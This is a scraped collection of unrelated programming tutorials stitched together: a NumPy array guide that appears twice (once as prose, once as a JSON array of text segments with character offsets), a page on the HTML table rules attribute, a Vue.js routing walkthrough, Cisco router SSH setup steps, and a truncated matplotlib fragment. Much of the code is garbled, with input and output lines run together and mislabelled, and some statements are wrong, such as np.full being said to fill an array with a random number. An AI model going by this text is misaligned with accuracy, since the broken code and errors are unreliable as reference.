To subtract one array from another use the np.subtract(a,b) or the — sign
IN [0]: a-bOUT [1]: np.subtract(a,b)OUT [0]: [[-1 -1 -1] [-4 -4 -4]]
To multiply two arrays usenp.multiply(a,b)or the * sign.
IN [0]: a*bOUT [1]: np.multiply(a,b)OUT [0]: [[ 6 12 20] [12 21 32]]
To divide two arrays usenp.divide(a,b)or the / sign.
IN [0]: b/aOUT [1]: np.divide(b,a)OUT [0]: [[1.5 1.33 1.25] [3. 2.33 2. ]]
Some useful aggregate functions are listed below.
a.sum()a.min()b.max(axis= 0)b.cumsum(axis= 1) #Cumulative sum a.mean()np.std(b) #Standard deviation
Just like Pandas dataframes, you can transpose, index, slice, and do more with Numpy arrays.
You can reshape a matrix using .reshape() and indicating the number of rows and columns you wish to have.
We’ll use the following Numpy array to test transposing and reshaping.
IN[0]: c = np.array([4,5,6,7,8,9])IN[1]: print(c)OUT[0]: [4 5 6 7 8 9]
Let’s set it to 2 rows and 3 columns.
IN[0]: c.reshape(2,3)OUT[0]: [[4 5 6] [7 8 9]]
Now let’s set it to 3 columns and 2 rows and transpose the array. To transpose the array you can use either.transpose() or .T
IN[0]: c.reshape(3,2)IN[1]: c.TOUT[0]: [[4 5] [6 7] [8 9]]IN [1]: [[4 6 8] [5 7 9]]
Indexing and slicing NumPy arrays work the same way as Python lists. Let’s have a look.
To get a specific element of an array we can use square brackets [] and specify the row and column
IN[0]: b = np.array([[3,4,5], [6,7,8]])IN[1]: b[1,2]OUT[0]: array([[3, 4, 5], [6, 7, 8]])IN [1]: 8
Slicing enables accessing parts of an array sequence. You can specify where to start the slicing, and where to end.
IN[0]: a = np.arange(5,20,2)IN[1]: a[0:2]OUT[0]: [5 7 9 11 13 15 17 19]IN [1]: [5 7]
We can also set conditionals inside square brackets to filter elements out.
IN[0]: a = np.arange(5,20,2)IN[1]: a[a<10]OUT[0]: [5 7 9 11 13 15 17 19]IN [1]: array([5, 7, 9])
You can concatenate two arrays withnp.concatenate(). By default, it has axis=0 (rows)
a = np.array([[1, 2], [3, 4]])b = np.array([[5, 6], [7, 8]])IN[0]: np.concatenate((a, b))OUT[0]: array([[1, 2], [3, 4], [5, 6], [7, 8]])
In case you want to concatenate by columns set axis=1.
IN[0]: np.concatenate((a, b), axis=1)OUT[0]: array([[1, 2, 5, 6], [3, 4, 7, 8]])
That’s it! All the code written in this guide can be found on my Github. You can unlock more Numpy functionalities using it along with Pandas. Below there’s a guide to move from Excel to Python using the Pandas and Numpy library.
towardsdatascience.com
Join my email list with 3k+ people to get my Python for Data Science Cheat Sheet I use in all my tutorials (Free PDF)
|
[
{
"code": null,
"e": 483,
"s": 172,
"text": "NumPy is a Python library on which most data science packages such as SciPy (Scientific Python), Matplotlib, and Scikit-learn depends to some extent. It adds support for large, multi-dimensional arrays and matrices, along with a large collection of high-level mathematical functions to operate on these arrays."
},
{
"code": null,
"e": 671,
"s": 483,
"text": "Without a doubt, Numpy is a library that you should learn if you are a data science enthusiast. This is why, in this guide, I’ll show you all the things you can do with the Numpy library."
},
{
"code": null,
"e": 724,
"s": 671,
"text": "Below, you’ll find the topics covered in this guide:"
},
{
"code": null,
"e": 1007,
"s": 724,
"text": "Table of Contents1. How to Create an Array - Create arrays from lists - Create arrays with 0’s, 1’s, and a random number - Create arrays with a range of elements2. Basic Operations3. Array Manipulation - Transposing and Reshaping a matrix - Indexing and Slicing - Concatenate arrays"
},
{
"code": null,
"e": 1066,
"s": 1007,
"text": "To start with this guide, let’s install the Numpy library."
},
{
"code": null,
"e": 1084,
"s": 1066,
"text": "pip install numpy"
},
{
"code": null,
"e": 1155,
"s": 1084,
"text": "After this, we have to import the library to start working with Numpy."
},
{
"code": null,
"e": 1174,
"s": 1155,
"text": "import numpy as np"
},
{
"code": null,
"e": 1471,
"s": 1174,
"text": "In Numpy, most of the time we work with arrays. An array is a grid of values that contains information about the raw data, how to locate an element, and how to interpret an element. Some examples of arrays are vectors (an array with a single column) and matrices (an array with multiple columns)."
},
{
"code": null,
"e": 1563,
"s": 1471,
"text": "There are different ways to create arrays in Numpy. Let’s write some code to create arrays."
},
{
"code": null,
"e": 1671,
"s": 1563,
"text": "We can create an array from Python lists, we just have to insert the list inside np.array() as shown below."
},
{
"code": null,
"e": 1783,
"s": 1671,
"text": "a = np.array([1,2,3])IN [0]: print(a)IN [1]: print(f'Dimension: {a.ndim}')OUT [0]: [1 2 3]OUT [1]: Dimension: 1"
},
{
"code": null,
"e": 1878,
"s": 1783,
"text": "We just created a 1D array (we can get the dimension using.ndim). Now let’s create a 2D array."
},
{
"code": null,
"e": 2046,
"s": 1878,
"text": "b = np.array([[1.5,2,3], [4,5,6]],dtype=float)IN [0]: print(b)IN [1]: print(f'Dimension: {b.ndim}')OUT [0]: [[1.5 2. 3. ] [4. 5. 6. ]]OUT [1]: Dimension: 2"
},
{
"code": null,
"e": 2172,
"s": 2046,
"text": "A 2D array stores multiple data elements of the same type in a matrix or table-like format with a number of rows and columns."
},
{
"code": null,
"e": 2257,
"s": 2172,
"text": "We can easily create an array filled with 0’s or 1’s and even specify the dimension."
},
{
"code": null,
"e": 2320,
"s": 2257,
"text": "Let’s create an array of 2 rows and 3 columns filled with 0's."
},
{
"code": null,
"e": 2403,
"s": 2320,
"text": "IN [0]: np.zeros([2,3])OUT [0]: array([[0., 0., 0.], [0., 0., 0.]])"
},
{
"code": null,
"e": 2492,
"s": 2403,
"text": "In case you want to create a 1D array, write only the number of columns you wish to get."
},
{
"code": null,
"e": 2543,
"s": 2492,
"text": "IN [0]: np.ones(4)OUT [0]: array([1., 1., 1., 1.])"
},
{
"code": null,
"e": 2610,
"s": 2543,
"text": "Also, you can create an array with a random number using np.full()"
},
{
"code": null,
"e": 2715,
"s": 2610,
"text": "IN [0]: np.full([3,3], 8)OUT [0]: array([[8, 8, 8], [8, 8, 8], [8, 8, 8]])"
},
{
"code": null,
"e": 2832,
"s": 2715,
"text": "Just like the built-in range() function, you can create an array with a range of elements. To do so, use np.arange()"
},
{
"code": null,
"e": 2894,
"s": 2832,
"text": "IN [0]: np.arange(5,30,5)OUT [0]: array([ 5, 10, 15, 20, 25])"
},
{
"code": null,
"e": 2946,
"s": 2894,
"text": "The three arguments included in the code above are:"
},
{
"code": null,
"e": 3024,
"s": 2946,
"text": "start: integer starting from which the sequence of integers is to be returned"
},
{
"code": null,
"e": 3119,
"s": 3024,
"text": "stop: integer before which the sequence of integers is to be returned (range ends at stop - 1)"
},
{
"code": null,
"e": 3207,
"s": 3119,
"text": "step: integer value which determines the increment between each integer in the sequence"
},
{
"code": null,
"e": 3330,
"s": 3207,
"text": "Basic operations such as addition, subtraction, multiplication, division, and many more can be easily executed with Numpy."
},
{
"code": null,
"e": 3393,
"s": 3330,
"text": "We’ll use the following Numpy arrays for the operations below."
},
{
"code": null,
"e": 3447,
"s": 3393,
"text": "a = np.array([2,3,4])b = np.array([[3,4,5], [6,7,8]])"
},
{
"code": null,
"e": 3507,
"s": 3447,
"text": "To add to two or more arrays use np.add(a,b) or the + sign."
},
{
"code": null,
"e": 3580,
"s": 3507,
"text": "IN [0]: a+bOUT [1]: np.add(b,a)OUT [0]: [[ 5 7 9] [ 8 10 12]]"
},
{
"code": null,
"e": 3654,
"s": 3580,
"text": "To subtract one array from another use the np.subtract(a,b) or the — sign"
},
{
"code": null,
"e": 3732,
"s": 3654,
"text": "IN [0]: a-bOUT [1]: np.subtract(a,b)OUT [0]: [[-1 -1 -1] [-4 -4 -4]]"
},
{
"code": null,
"e": 3789,
"s": 3732,
"text": "To multiply two arrays usenp.multiply(a,b)or the * sign."
},
{
"code": null,
"e": 3867,
"s": 3789,
"text": "IN [0]: a*bOUT [1]: np.multiply(a,b)OUT [0]: [[ 6 12 20] [12 21 32]]"
},
{
"code": null,
"e": 3920,
"s": 3867,
"text": "To divide two arrays usenp.divide(a,b)or the / sign."
},
{
"code": null,
"e": 4010,
"s": 3920,
"text": "IN [0]: b/aOUT [1]: np.divide(b,a)OUT [0]: [[1.5 1.33 1.25] [3. 2.33 2. ]]"
},
{
"code": null,
"e": 4060,
"s": 4010,
"text": "Some useful aggregate functions are listed below."
},
{
"code": null,
"e": 4160,
"s": 4060,
"text": "a.sum()a.min()b.max(axis= 0)b.cumsum(axis= 1) #Cumulative sum a.mean()np.std(b) #Standard deviation"
},
{
"code": null,
"e": 4253,
"s": 4160,
"text": "Just like Pandas dataframes, you can transpose, index, slice, and do more with Numpy arrays."
},
{
"code": null,
"e": 4359,
"s": 4253,
"text": "You can reshape a matrix using .reshape() and indicating the number of rows and columns you wish to have."
},
{
"code": null,
"e": 4430,
"s": 4359,
"text": "We’ll use the following Numpy array to test transposing and reshaping."
},
{
"code": null,
"e": 4501,
"s": 4430,
"text": "IN[0]: c = np.array([4,5,6,7,8,9])IN[1]: print(c)OUT[0]: [4 5 6 7 8 9]"
},
{
"code": null,
"e": 4539,
"s": 4501,
"text": "Let’s set it to 2 rows and 3 columns."
},
{
"code": null,
"e": 4594,
"s": 4539,
"text": "IN[0]: c.reshape(2,3)OUT[0]: [[4 5 6] [7 8 9]]"
},
{
"code": null,
"e": 4720,
"s": 4594,
"text": "Now let’s set it to 3 columns and 2 rows and transpose the array. To transpose the array you can use either.transpose() or .T"
},
{
"code": null,
"e": 4828,
"s": 4720,
"text": "IN[0]: c.reshape(3,2)IN[1]: c.TOUT[0]: [[4 5] [6 7] [8 9]]IN [1]: [[4 6 8] [5 7 9]]"
},
{
"code": null,
"e": 4916,
"s": 4828,
"text": "Indexing and slicing NumPy arrays work the same way as Python lists. Let’s have a look."
},
{
"code": null,
"e": 5015,
"s": 4916,
"text": "To get a specific element of an array we can use square brackets [] and specify the row and column"
},
{
"code": null,
"e": 5127,
"s": 5015,
"text": "IN[0]: b = np.array([[3,4,5], [6,7,8]])IN[1]: b[1,2]OUT[0]: array([[3, 4, 5], [6, 7, 8]])IN [1]: 8"
},
{
"code": null,
"e": 5243,
"s": 5127,
"text": "Slicing enables accessing parts of an array sequence. You can specify where to start the slicing, and where to end."
},
{
"code": null,
"e": 5328,
"s": 5243,
"text": "IN[0]: a = np.arange(5,20,2)IN[1]: a[0:2]OUT[0]: [5 7 9 11 13 15 17 19]IN [1]: [5 7]"
},
{
"code": null,
"e": 5404,
"s": 5328,
"text": "We can also set conditionals inside square brackets to filter elements out."
},
{
"code": null,
"e": 5501,
"s": 5404,
"text": "IN[0]: a = np.arange(5,20,2)IN[1]: a[a<10]OUT[0]: [5 7 9 11 13 15 17 19]IN [1]: array([5, 7, 9])"
},
{
"code": null,
"e": 5587,
"s": 5501,
"text": "You can concatenate two arrays withnp.concatenate(). By default, it has axis=0 (rows)"
},
{
"code": null,
"e": 5766,
"s": 5587,
"text": "a = np.array([[1, 2], [3, 4]])b = np.array([[5, 6], [7, 8]])IN[0]: np.concatenate((a, b))OUT[0]: array([[1, 2], [3, 4], [5, 6], [7, 8]])"
},
{
"code": null,
"e": 5821,
"s": 5766,
"text": "In case you want to concatenate by columns set axis=1."
},
{
"code": null,
"e": 5916,
"s": 5821,
"text": "IN[0]: np.concatenate((a, b), axis=1)OUT[0]: array([[1, 2, 5, 6], [3, 4, 7, 8]])"
},
{
"code": null,
"e": 6146,
"s": 5916,
"text": "That’s it! All the code written in this guide can be found on my Github. You can unlock more Numpy functionalities using it along with Pandas. Below there’s a guide to move from Excel to Python using the Pandas and Numpy library."
},
{
"code": null,
"e": 6169,
"s": 6146,
"text": "towardsdatascience.com"
}
] |
HTML | <table> rules Attribute - GeeksforGeeks
|
29 May, 2019
The HTML <table> rules Attribute is used to specify the which parts of the inside borders that should be visible.
Syntax:
<table rules="value">
Attribute Values:
none: It does not create any lines.
groups: It create lines between row and column groups.
rows: It creates line between the rows.
cols: It creates line between the columns.
all: It creates line between the rows and columns.
Note: The <table> rules Attribute is not supported by HTML 5.
Example:
<!DOCTYPE html><html> <head> <title> HTML table rules Attribute </title></head> <body> <h1>GeeksforGeeks</h1> <h2>HTML table rules Attribute</h2> <table rules="rows"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table> <br> <table rules="cols"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table> <br> <table rules="all"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table></body> </html>
Output:
Supported Browsers: The browser supported by HTML <table> rules Attribute are listed below:
Google Chrome
Internet Explorer 9.0
Firefox
Safari
Opera
Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course.
HTML-Attributes
HTML
Web Technologies
HTML
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to update Node.js and NPM to next version ?
HTML Cheat Sheet - A Basic Guide to HTML
REST API (Introduction)
How to Insert Form Data into Database using PHP ?
CSS to put icon inside an input element in a form
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
Difference between var, let and const keywords in JavaScript
|
[
{
"code": null,
"e": 24764,
"s": 24736,
"text": "\n29 May, 2019"
},
{
"code": null,
"e": 24878,
"s": 24764,
"text": "The HTML <table> rules Attribute is used to specify the which parts of the inside borders that should be visible."
},
{
"code": null,
"e": 24886,
"s": 24878,
"text": "Syntax:"
},
{
"code": null,
"e": 24908,
"s": 24886,
"text": "<table rules=\"value\">"
},
{
"code": null,
"e": 24926,
"s": 24908,
"text": "Attribute Values:"
},
{
"code": null,
"e": 24962,
"s": 24926,
"text": "none: It does not create any lines."
},
{
"code": null,
"e": 25017,
"s": 24962,
"text": "groups: It create lines between row and column groups."
},
{
"code": null,
"e": 25057,
"s": 25017,
"text": "rows: It creates line between the rows."
},
{
"code": null,
"e": 25100,
"s": 25057,
"text": "cols: It creates line between the columns."
},
{
"code": null,
"e": 25151,
"s": 25100,
"text": "all: It creates line between the rows and columns."
},
{
"code": null,
"e": 25213,
"s": 25151,
"text": "Note: The <table> rules Attribute is not supported by HTML 5."
},
{
"code": null,
"e": 25222,
"s": 25213,
"text": "Example:"
},
{
"code": "<!DOCTYPE html><html> <head> <title> HTML table rules Attribute </title></head> <body> <h1>GeeksforGeeks</h1> <h2>HTML table rules Attribute</h2> <table rules=\"rows\"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table> <br> <table rules=\"cols\"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table> <br> <table rules=\"all\"> <tr> <th>NAME</th> <th>AGE</th> <th>BRANCH</th> </tr> <tr> <td>BITTU</td> <td>22</td> <td>CSE</td> </tr> </table></body> </html>",
"e": 26129,
"s": 25222,
"text": null
},
{
"code": null,
"e": 26137,
"s": 26129,
"text": "Output:"
},
{
"code": null,
"e": 26229,
"s": 26137,
"text": "Supported Browsers: The browser supported by HTML <table> rules Attribute are listed below:"
},
{
"code": null,
"e": 26243,
"s": 26229,
"text": "Google Chrome"
},
{
"code": null,
"e": 26265,
"s": 26243,
"text": "Internet Explorer 9.0"
},
{
"code": null,
"e": 26273,
"s": 26265,
"text": "Firefox"
},
{
"code": null,
"e": 26280,
"s": 26273,
"text": "Safari"
},
{
"code": null,
"e": 26286,
"s": 26280,
"text": "Opera"
},
{
"code": null,
"e": 26423,
"s": 26286,
"text": "Attention reader! Don’t stop learning now. Get hold of all the important HTML concepts with the Web Design for Beginners | HTML course."
},
{
"code": null,
"e": 26439,
"s": 26423,
"text": "HTML-Attributes"
},
{
"code": null,
"e": 26444,
"s": 26439,
"text": "HTML"
},
{
"code": null,
"e": 26461,
"s": 26444,
"text": "Web Technologies"
},
{
"code": null,
"e": 26466,
"s": 26461,
"text": "HTML"
},
{
"code": null,
"e": 26564,
"s": 26466,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 26612,
"s": 26564,
"text": "How to update Node.js and NPM to next version ?"
},
{
"code": null,
"e": 26653,
"s": 26612,
"text": "HTML Cheat Sheet - A Basic Guide to HTML"
},
{
"code": null,
"e": 26677,
"s": 26653,
"text": "REST API (Introduction)"
},
{
"code": null,
"e": 26727,
"s": 26677,
"text": "How to Insert Form Data into Database using PHP ?"
},
{
"code": null,
"e": 26777,
"s": 26727,
"text": "CSS to put icon inside an input element in a form"
},
{
"code": null,
"e": 26817,
"s": 26777,
"text": "Remove elements from a JavaScript Array"
},
{
"code": null,
"e": 26850,
"s": 26817,
"text": "Installation of Node.js on Linux"
},
{
"code": null,
"e": 26895,
"s": 26850,
"text": "Convert a string to an integer in JavaScript"
},
{
"code": null,
"e": 26938,
"s": 26895,
"text": "How to fetch data from an API in ReactJS ?"
}
] |
Vue.js | Routing
|
26 Jul, 2021
Routing is one of the many features provided by Vue.js to allow users to switch between pages without refreshing every time a page is loaded. This results in smooth transitions between pages giving a better feel for the user.Setting Up The Application: Firstly, we need to create a project to work on. We can use Vue CLI (Command Line Interface) for this. With the terminal open, run the following below command.
vue init webpack vue-routing-example
During the initialization process, make sure to say yes when prompted to install the vue-router. It is required in order to work with routing in our application. After the initialization is over, open up the application to check if the process was successful by running the following command in the terminal:
cd vue-routing-example
npm run dev
With those commands, your application would be built and deployed into the local development server. href=”http://localhost:8080′′Building Our Application: In order to implement routing in our application, we must first create pages to route to. We can change and use the HelloWorld.vue file as our first page and create a new file in that component folder HelloGeek.vue as our second page. These pages will have nothing functional and will be for understanding the flow of routing.
Step 1: Replace the content of HelloWorld.vue with the below code. The template section is where we structure the visible content of the component. Here, it displays a parameter (msg) as a heading that is passed to it from the script section of the code. The script section is used to hold the logic of our code which in this case is to return a value. HelloWorld.vue:
javascript
<template> <div class = 'helloworld'> <h1>{{ msg }}</h1> </div></template> <script>export default { name: 'HelloWorld', data () { return { msg: 'Hello World!' } }}</script>
Step 2: Paste the below code into HelloGeek.vue file. Same as HelloWorld.vue for template and script section. HelloGeek.vue:
Step 3: Now as we have our pages ready, we need to configure our index.js file in order to set up routing configuration.In the import section we have imported both Vue and Router to help build our project. We have also imported both the pages we want to route to – HelloWorld and HelloGeek.Vue.use(strong) is used to make sure that the Router is added as a helper in our project.The route configuration is a JavaScript object containing path, name and component. We need to add this object to the routes array. We can assign both path (URL) and name to our component.Here, as a special case, the root path is redirected to HelloWorld page as the root should never be empty.
In the import section we have imported both Vue and Router to help build our project. We have also imported both the pages we want to route to – HelloWorld and HelloGeek.
Vue.use(strong) is used to make sure that the Router is added as a helper in our project.
The route configuration is a JavaScript object containing path, name and component. We need to add this object to the routes array. We can assign both path (URL) and name to our component.
Here, as a special case, the root path is redirected to HelloWorld page as the root should never be empty.
Ste 4(Optional): The user can now manually route to each page by changing the URL to http://localhost:8080/#/helloworld or http://localhost:8080/#/hellogeek. But let us set up ways to route through links.
Step 5: Here we will do Route Linking, we can set up links to routes using the <route-link> tag. The to attribute is to be given a path to the page we need to route.
<router-link to="/helloworld">Hello World</router-link>
The template section contains an image followed by route links to our pages using the <router-link> tag.
The <router-view> placeholder tag is used to define the place where the route component would be inserted into the HTML output.
The style section of the code, well, helps styling the page.Output:
bunnyram19
singghakshay
Picked
Vue.JS
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n26 Jul, 2021"
},
{
"code": null,
"e": 443,
"s": 28,
"text": "Routing is one of the many features provided by Vue.js to allow users to switch between pages without refreshing every time a page is loaded. This results in smooth transitions between pages giving a better feel for the user.Setting Up The Application: Firstly, we need to create a project to work on. We can use Vue CLI (Command Line Interface) for this. With the terminal open, run the following below command. "
},
{
"code": null,
"e": 480,
"s": 443,
"text": "vue init webpack vue-routing-example"
},
{
"code": null,
"e": 791,
"s": 480,
"text": "During the initialization process, make sure to say yes when prompted to install the vue-router. It is required in order to work with routing in our application. After the initialization is over, open up the application to check if the process was successful by running the following command in the terminal: "
},
{
"code": null,
"e": 814,
"s": 791,
"text": "cd vue-routing-example"
},
{
"code": null,
"e": 826,
"s": 814,
"text": "npm run dev"
},
{
"code": null,
"e": 1311,
"s": 826,
"text": "With those commands, your application would be built and deployed into the local development server. href=”http://localhost:8080′′Building Our Application: In order to implement routing in our application, we must first create pages to route to. We can change and use the HelloWorld.vue file as our first page and create a new file in that component folder HelloGeek.vue as our second page. These pages will have nothing functional and will be for understanding the flow of routing. "
},
{
"code": null,
"e": 1682,
"s": 1311,
"text": "Step 1: Replace the content of HelloWorld.vue with the below code. The template section is where we structure the visible content of the component. Here, it displays a parameter (msg) as a heading that is passed to it from the script section of the code. The script section is used to hold the logic of our code which in this case is to return a value. HelloWorld.vue: "
},
{
"code": null,
"e": 1693,
"s": 1682,
"text": "javascript"
},
{
"code": "<template> <div class = 'helloworld'> <h1>{{ msg }}</h1> </div></template> <script>export default { name: 'HelloWorld', data () { return { msg: 'Hello World!' } }}</script>",
"e": 1887,
"s": 1693,
"text": null
},
{
"code": null,
"e": 2013,
"s": 1887,
"text": "Step 2: Paste the below code into HelloGeek.vue file. Same as HelloWorld.vue for template and script section. HelloGeek.vue: "
},
{
"code": null,
"e": 2687,
"s": 2013,
"text": "Step 3: Now as we have our pages ready, we need to configure our index.js file in order to set up routing configuration.In the import section we have imported both Vue and Router to help build our project. We have also imported both the pages we want to route to – HelloWorld and HelloGeek.Vue.use(strong) is used to make sure that the Router is added as a helper in our project.The route configuration is a JavaScript object containing path, name and component. We need to add this object to the routes array. We can assign both path (URL) and name to our component.Here, as a special case, the root path is redirected to HelloWorld page as the root should never be empty."
},
{
"code": null,
"e": 2858,
"s": 2687,
"text": "In the import section we have imported both Vue and Router to help build our project. We have also imported both the pages we want to route to – HelloWorld and HelloGeek."
},
{
"code": null,
"e": 2948,
"s": 2858,
"text": "Vue.use(strong) is used to make sure that the Router is added as a helper in our project."
},
{
"code": null,
"e": 3137,
"s": 2948,
"text": "The route configuration is a JavaScript object containing path, name and component. We need to add this object to the routes array. We can assign both path (URL) and name to our component."
},
{
"code": null,
"e": 3244,
"s": 3137,
"text": "Here, as a special case, the root path is redirected to HelloWorld page as the root should never be empty."
},
{
"code": null,
"e": 3449,
"s": 3244,
"text": "Ste 4(Optional): The user can now manually route to each page by changing the URL to http://localhost:8080/#/helloworld or http://localhost:8080/#/hellogeek. But let us set up ways to route through links."
},
{
"code": null,
"e": 3617,
"s": 3449,
"text": "Step 5: Here we will do Route Linking, we can set up links to routes using the <route-link> tag. The to attribute is to be given a path to the page we need to route. "
},
{
"code": null,
"e": 3673,
"s": 3617,
"text": "<router-link to=\"/helloworld\">Hello World</router-link>"
},
{
"code": null,
"e": 3778,
"s": 3673,
"text": "The template section contains an image followed by route links to our pages using the <router-link> tag."
},
{
"code": null,
"e": 3906,
"s": 3778,
"text": "The <router-view> placeholder tag is used to define the place where the route component would be inserted into the HTML output."
},
{
"code": null,
"e": 3975,
"s": 3906,
"text": "The style section of the code, well, helps styling the page.Output: "
},
{
"code": null,
"e": 3986,
"s": 3975,
"text": "bunnyram19"
},
{
"code": null,
"e": 3999,
"s": 3986,
"text": "singghakshay"
},
{
"code": null,
"e": 4006,
"s": 3999,
"text": "Picked"
},
{
"code": null,
"e": 4013,
"s": 4006,
"text": "Vue.JS"
},
{
"code": null,
"e": 4024,
"s": 4013,
"text": "JavaScript"
},
{
"code": null,
"e": 4041,
"s": 4024,
"text": "Web Technologies"
}
] |
How to Configure SSH on Cisco Routers and Switches?
|
16 Aug, 2021
Overview :SSH is a security mechanism, which can be used to access the privilege and configuration mode of a Router and a Switch from a remote location to perform the required action. The primary aim to configure SSH is to access devices deployed in a network from a remote location so that the required configuration can be performed and resources can be provided in a seamless manner. To learn about the SSH configuration, the Cisco Packet Tracer tool is used to demonstrate the steps to be followed and associated commands to be executed for this purpose. In addition to this, syntax and explanation of each command are provided along with screen-grabs.
SSH Configuration on Cisco Router : Below listed steps will be followed to configure the SSH as follows.
Step-1 : Cisco Packet Tracer is opened and network topology is created between a computer system and a router.
Step-2 : Desktop settings of the Computer System need to be accessed to assign it with IP address, associated subnet mask and gateway address of the network.
Assigning IP address, subnet mask, and default gateway address to PC.
Step-3 : Further, the Command Line Interface of the router needs to be accessed to assign an IP address to the connected interface (Fast Ethernet 0/0 in this scenario).
Step-4 : Configuration mode is accessed using configure terminal command through Router’s CLI. IP address 192.168.16.1 is assigned to interface with subnet mask of 255.255.255.0. In addition to this, no shutdown command is executed to change the interface state to up. With successful configuration of assigning IP addresses, a communication channel is established between the computer system and Router.
An IP address is assigned to Router’s interface
Step-5 : SSH Command Execution –
All the commands used to enable the SSH is highlighted in the below-provided screen-grab of the Cisco Packet Tracer.
At first, domain name is set using ‘ip domain-name domain-name command.
Then, to maintain a secure SSH connection, a crypto key is generated using ‘crypto key generate RSA’ command. A value of ‘1024’ is input and enter is clicked to successfully generate the key.
‘enable password password’ command is executed to maintain security and to allow only authorized users to access the router command-line interface.
Further, the ‘username password’ command is used to set the username to establish an SSH connection with the network device.
‘IP ssh version 2’ command is used to define the version of SSH, which will be configured on this router.
Further, ‘line vty 0 15’ is executed, so that router can be accessed from a remote system connected to the network.
Then, ‘transport input ssh’ and ‘login local’ commands are executed for the successful configuration of SSH on the Cisco Router.
SSH configuration
Step-6 : To test the SSH configured on Cisco Router, Command Prompt is opened on Computer System and the ‘ssh -l username IP-address’ command is executed.
Command –
ssh -l cisco 192.168.16.1
SSH Testing
Picked
Computer Networks
Computer Networks
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n16 Aug, 2021"
},
{
"code": null,
"e": 686,
"s": 28,
"text": "Overview :SSH is a security mechanism, which can be used to access the privilege and configuration mode of a Router and a Switch from a remote location to perform the required action. The primary aim to configure SSH is to access devices deployed in a network from a remote location so that the required configuration can be performed and resources can be provided in a seamless manner. To learn about the SSH configuration, the Cisco Packet Tracer tool is used to demonstrate the steps to be followed and associated commands to be executed for this purpose. In addition to this, syntax and explanation of each command are provided along with screen-grabs. "
},
{
"code": null,
"e": 792,
"s": 686,
"text": "SSH Configuration on Cisco Router : Below listed steps will be followed to configure the SSH as follows."
},
{
"code": null,
"e": 905,
"s": 792,
"text": "Step-1 : Cisco Packet Tracer is opened and network topology is created between a computer system and a router. "
},
{
"code": null,
"e": 1065,
"s": 905,
"text": "Step-2 : Desktop settings of the Computer System need to be accessed to assign it with IP address, associated subnet mask and gateway address of the network. "
},
{
"code": null,
"e": 1136,
"s": 1065,
"text": "Assigning IP address, subnet mask, and default gateway address to PC. "
},
{
"code": null,
"e": 1307,
"s": 1136,
"text": "Step-3 : Further, the Command Line Interface of the router needs to be accessed to assign an IP address to the connected interface (Fast Ethernet 0/0 in this scenario). "
},
{
"code": null,
"e": 1714,
"s": 1307,
"text": "Step-4 : Configuration mode is accessed using configure terminal command through Router’s CLI. IP address 192.168.16.1 is assigned to interface with subnet mask of 255.255.255.0. In addition to this, no shutdown command is executed to change the interface state to up. With successful configuration of assigning IP addresses, a communication channel is established between the computer system and Router. "
},
{
"code": null,
"e": 1763,
"s": 1714,
"text": "An IP address is assigned to Router’s interface "
},
{
"code": null,
"e": 1798,
"s": 1763,
"text": "Step-5 : SSH Command Execution – "
},
{
"code": null,
"e": 1917,
"s": 1798,
"text": "All the commands used to enable the SSH is highlighted in the below-provided screen-grab of the Cisco Packet Tracer. "
},
{
"code": null,
"e": 1989,
"s": 1917,
"text": "At first, domain name is set using ‘ip domain-name domain-name command."
},
{
"code": null,
"e": 2184,
"s": 1989,
"text": "Then, to maintain a secure SSH connection, a crypto key is generated using ‘crypto key generate RSA’ command. A value of ‘1024’ is input and enter is clicked to successfully generate the key. "
},
{
"code": null,
"e": 2332,
"s": 2184,
"text": "‘enable password password’ command is executed to maintain security and to allow only authorized users to access the router command-line interface."
},
{
"code": null,
"e": 2459,
"s": 2332,
"text": "Further, the ‘username password’ command is used to set the username to establish an SSH connection with the network device. "
},
{
"code": null,
"e": 2567,
"s": 2459,
"text": "‘IP ssh version 2’ command is used to define the version of SSH, which will be configured on this router. "
},
{
"code": null,
"e": 2683,
"s": 2567,
"text": "Further, ‘line vty 0 15’ is executed, so that router can be accessed from a remote system connected to the network."
},
{
"code": null,
"e": 2814,
"s": 2683,
"text": "Then, ‘transport input ssh’ and ‘login local’ commands are executed for the successful configuration of SSH on the Cisco Router. "
},
{
"code": null,
"e": 2832,
"s": 2814,
"text": "SSH configuration"
},
{
"code": null,
"e": 2989,
"s": 2832,
"text": "Step-6 : To test the SSH configured on Cisco Router, Command Prompt is opened on Computer System and the ‘ssh -l username IP-address’ command is executed. "
},
{
"code": null,
"e": 2999,
"s": 2989,
"text": "Command –"
},
{
"code": null,
"e": 3027,
"s": 2999,
"text": "ssh -l cisco 192.168.16.1 "
},
{
"code": null,
"e": 3040,
"s": 3027,
"text": "SSH Testing "
},
{
"code": null,
"e": 3047,
"s": 3040,
"text": "Picked"
},
{
"code": null,
"e": 3065,
"s": 3047,
"text": "Computer Networks"
},
{
"code": null,
"e": 3083,
"s": 3065,
"text": "Computer Networks"
}
] |
Matplotlib.axis.Axis.set_ticks() function in Python
|
08 Jun, 2020
Matplotlib is a library in Python and it is numerical – mathematical extension for NumPy library. It is an amazing visualization library in Python for 2D plots of arrays and used for working with the broader SciPy stack.
The Axis.set_ticks() function in axis module of matplotlib library is used to set the locations of the tick marks from sequence ticks.
